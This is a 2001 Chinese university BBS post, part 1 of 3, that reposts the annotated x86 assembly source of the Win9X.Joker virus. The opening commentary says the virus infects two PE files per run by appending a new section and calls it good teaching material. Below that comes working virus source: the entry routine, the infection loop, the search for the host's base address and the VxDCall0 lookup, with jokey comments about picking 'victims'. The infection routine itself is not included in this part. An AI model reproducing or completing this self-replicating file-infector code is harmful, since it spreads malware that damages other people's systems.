荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Mic (至酷霸王丸), 信区: Virus
标 题: 经典病毒源码 分析:Win32.Joker (1/3)
发信站: 荔园晨风BBS站 (Wed May 30 07:49:04 2001), 转信
【 以下文字转载自 Mic 的信箱 】
【 原文由 Smickey.bbs@melon.gznet.edu.cn 所发表 】
发信人: hollando (拜人精神,早睡早起), 信区: Virus
标 题: 经典病毒源码 分析:Win32.Joker (1/3)
发信站: 华南网木棉站 (Sun May 27 13:21:36 2001), 转信
; ====================================================================
; Win9X.Joker 病毒分析(典型Win32病毒范例)
; ====================================================================
;
; 名字 : Win9X.Joker (为什么呀?)
; 版本 : N/A
; 原作者 : 唉,谁知道,没留下名字
; 原始大小 : 940 字节
; 平台 : Win9x
; 类型 : 直接感染PE文件
; 来源 : 无从查证
;
; 先说两句 :
;
; 关于这个病毒的一切都是一个谜。它没有任何标志、版权说明。
; 所以咱们也无从查证它的作者是谁。
; 不过从代码的结构看,很象是以下三位大师:JHB, Murkry or Mark Ludwig
; 之一的杰作。不过嘛,这里我并不想讨论到底是谁做的。
; 我这里只是反汇编、解释一下源程序。
;
; 这个病毒做什么呢?非常简单,它在当前文件夹中找两个文件,感染(方法是
; 增加一个新的区段。每次执行它只感染两个文件。新区段的名字叫Joker1,这
; 就是它的名字的来历。这个病毒有一个小小的缺陷,可能会造成它无法感染绝
; 大部分它试图感染PE文件,但是编写它的人绝对是一个高手,因为他做了很多
; 聪明的事情。代码没有经过特别优化,但是也没有任何毛病。令我惊讶的是,
; 整个程序中没有获取偏移量的地方,这至少很令人吃惊吧 ;)
;
; 这个病毒不会在NT上扩散,因为它没有使用API,而是搜索VxDCall0 API, 然后
; 使用Int21_Dispatch功能,所以这个病毒非常类似于DOS病毒,但是在Windows
; 环境下执行。问题是,WinNT没有这个API,因此这个病毒只能在9x/ME上起作用
;
; 这个病毒没有表现部分,也没有破坏性。从编程技巧上看,是一个非常优秀的
; Win32病毒。程序中适当删去了一些代码。在原来的Bug处有注释说明。
;
; 程序可以用于汇编语言教学,即讲授Win32 API之用。编程技巧值得借鉴
;
.386
.model flat
.data
dd 0 ; 为TLINK保留
; --------------------------------------------------------------------
; 病毒的数据
; --------------------------------------------------------------------
virus_size equ 03ACh
buffer equ 0004h
FindData equ 0404h
; 供参考:FIND数据结构
; typedef struct _WIN32_FIND_DATA {
; DWORD dwFileAttributes;
; FILETIME ftCreationTime; ;DD ?,?
; FILETIME ftLastAccessTime; ;DD ?,?
; FILETIME ftLastWriteTime; ;DD ?,?
; DWORD nFileSizeHigh;
; DWORD nFileSizeLow;
; DWORD dwReserved0;
; DWORD dwReserved1;
; CHAR cFileName[MAX_PATH];
; CHAR cAlternateFileName[ 14 ];
;} WIN32_FIND_DATA
FileSizeHigh equ 0420h
FileSizeLow equ 0424h
FileAttributes equ 0430h
; ---
FileHandle equ 0544h
SearchHandle equ 0548h
ASizeOfRawData equ 054Ch
Ptr2LastSection equ 0550h
AVirusSize equ 0554h
InfCounter equ 0558h
PushImm32 equ 055Ch
OldEIP equ 055Dh
WorkSpace equ 0564h
HostEIP equ 0584h
RetAddress equ 0588h
.code
; --------------------------------------------------------------------
; 病毒代码
; --------------------------------------------------------------------
virus_start:
push offset first_generation-400000h
; 这些代码将被修改以适应感染的程序
pusha ; 保存现场
sub esp, WorkSpace ; 为堆栈分配空间
mov ebp, esp ; 保存到 EBP
call @@1
@@1: pop eax ; EAX = 指向宿主进程地址
call CheckBase ; 获得当前进程 ImageBase 地址
add [ebp+HostEIP], eax
cmp dword ptr [ebp+RetAddress], 0 ; 是否为空返回地址?
jz short ExitVirus
mov eax, [ebp+RetAddress] ; EAX = 返回地址
call CheckBase
or eax, eax ; 有错吗?
jz ExitVirus ; 哦,有,拜拜了您哪!
mov [ebp+RetAddress], eax
call GetVxDCall0 ; 找找 VxDCall0
or eax, eax ; 有错吗?
jz ExitVirus ; 哦,有,拜拜了您哪!
mov dword ptr [ebp+InfCounter], 1 ; 设置感染计数器
call FindFirstFile ; 找一个被感染的文件吧,都烦了
InfectAnother: ; ...
or eax, eax ; 什么?竟然有错误?
jz ExitVirus ; 拉倒吧,我撤。
cmp dword ptr [ebp+InfCounter], 1
ja ExitVirus ; 是不是已经感染过一个了?是的话再见
call InfectFile ; 感染!
call FindNextFile ; 下一个牺牲品是谁?
jmp InfectAnother
ExitVirus: ; ...
add esp, WorkSpace ; 恢复堆栈
popa ; 恢复现场
retn ; 交回控制权
; --------------------------------------------------------------------
; 寻找文件头的 PE 标志 (用于获取 ImageBase 和 Kernel32)
; --------------------------------------------------------------------
CheckBase:
pusha ; 保存现场
mov ebp, esp ; 保护堆栈
SetSEHandSearch: ; ...
push 4010B4h ; SEH 处理地址 (这是什么?)
; BUG! 如果发生错误,那么将去哪里呢?
push dword ptr fs:0 ; 保存原来的 SEH 处理程序地址
mov fs:0, esp ; 放上新的
xchg eax, esi
Check4MZ_PE: ; ...
and esi, 0FFFFF000h ; 按页分
pusha ; 保存寄存器
lodsw ; Get a word
cmp ax, "ZM" ; MZ 标志?
jnz continue_search
add esi, [esi+3Ah]
dec esi
dec esi
lodsw
cmp ax, "EP" ; 是不是 PE 签名啊...
jz K32_Exit
xor eax, eax
jmp short K32_Exit
continue_search: ; ...
popa
sub esi, 1000h
jmp short Check4MZ_PE
mov eax, [esp+8] ; 修正堆栈
lea esp, [eax-20h]
popa
pop dword ptr fs:0 ; 还原 SEH 处理程序
inc esp ; 修正堆栈 (用于新的 SEH 处理程序)
inc esp
inc esp
inc esp
sub esi, 1000h ; 剪掉一页...
jmp SetSEHandSearch ; 接着找!不信没有!
K32_Exit: ; ...
popa
pop dword ptr fs:0 ; 还原 SEH 处理程序
add esp, 4 ; 快把新的SEH处理程序藏起来
mov [ebp+1Ch], esi ; 还原以后EAX = ESI
popa ; 还原现场
retn
; --------------------------------------------------------------------
; 从 KERNEL32 导出表中获取 VxDCall0 API
; --------------------------------------------------------------------
GetVxDCall0:
push ebx ; 保存 EBX (程序里面用)
push eax ; 保存 EAX (K32 基址)
mov ebx, [eax+3Ch] ; EBX = PE签名指针
add ebx, eax ; RVA >> VA
mov ebx, [ebx+78h] ; 找找,找找
lea ebx, [ebx+eax+1Ch] ; 第一个导出API就是
mov ebx, [ebx] ; 可爱的 VxDCall0! :)
add eax, [eax+ebx] ; EAX = VxDCall0 API
mov fs:14h, eax ; 保存 VxDCall0 到 FS:14h
pop eax ; 还原 K32 基址到 EAX
pop ebx ; 还原 EBX
retn ; 成功,返回 :)
--
※ 来源:.GNU中国站 hollando.gnu.org.cn.[FROM: 127.0.0.1] *[46
※ 来源:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 202.38.240.231]
--
※ 转寄:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 深大荔园晨风转站]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.108]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店